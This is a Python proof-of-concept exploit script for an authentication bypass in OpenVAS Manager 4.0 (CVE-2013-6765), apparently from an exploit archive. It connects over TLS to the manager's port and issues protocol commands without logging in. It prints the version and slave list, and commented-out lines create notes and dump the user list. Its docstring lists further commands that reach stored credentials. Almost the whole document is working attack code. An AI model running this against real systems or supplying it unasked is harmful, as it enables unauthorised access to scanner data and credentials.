1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 |
#!/usr/bin/python # Exploit Title: OpenVAS Manager 4.0 Authentication Bypass Vulnerability PoC # Date: 09/07/2014 # Exploit Author: EccE # Vendor Homepage: http://www.openvas.org/ # Software Link: http://wald.intevation.org/frs/?group_id=29 # Version: OpenVAS Manager 4.0 # Tested on: Debian GNU/Linux testing (jessie) # CVE : CVE-2013-6765 """ Small list of working commands get_agents get_configs get_alerts get_filters get_lsc_credentials get_notes get_nvts get_targets get_users get_schedules More commands (~70 commands) can be found directly in the omc.c file. Not all of them are working though. As designed in OMP protocol, commands must be sent this way : <COMMAND/> """ import socket, ssl s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Require a certificate from the server. We used a self-signed certificate # so here cacerts.pem must be the server certificate itself. ssl_sock = ssl.wrap_socket(s, ca_certs="/var/lib/openvas/CA/cacert.pem", cert_reqs=ssl.CERT_REQUIRED) # OpenVAS Manager listen by default on localhost tcp/9390 ssl_sock.connect(('localhost', 9390)) print "#################################################################" print "# Proof of Concept - OpenVAS Manager 4.0 Authentication Bypass#" print "#################################################################" print "\n" print "--> Retrieving version...(exploiting the bug !)\n" ssl_sock.write("<get_version/>") data = ssl_sock.read() print data print "\n" print "--> Retrieving slaves...\n" ssl_sock.write("<get_slaves/>") tasks = ssl_sock.read() print tasks print "\n" """ print "--> Creating note...\n" ssl_sock.write("<create_note/>") note = ssl_sock.read() print note print "--> Retrieving users list...\n" ssl_sock.write("<get_users/>") users_list = ssl_sock.read() print users_list """ ssl_sock.close() |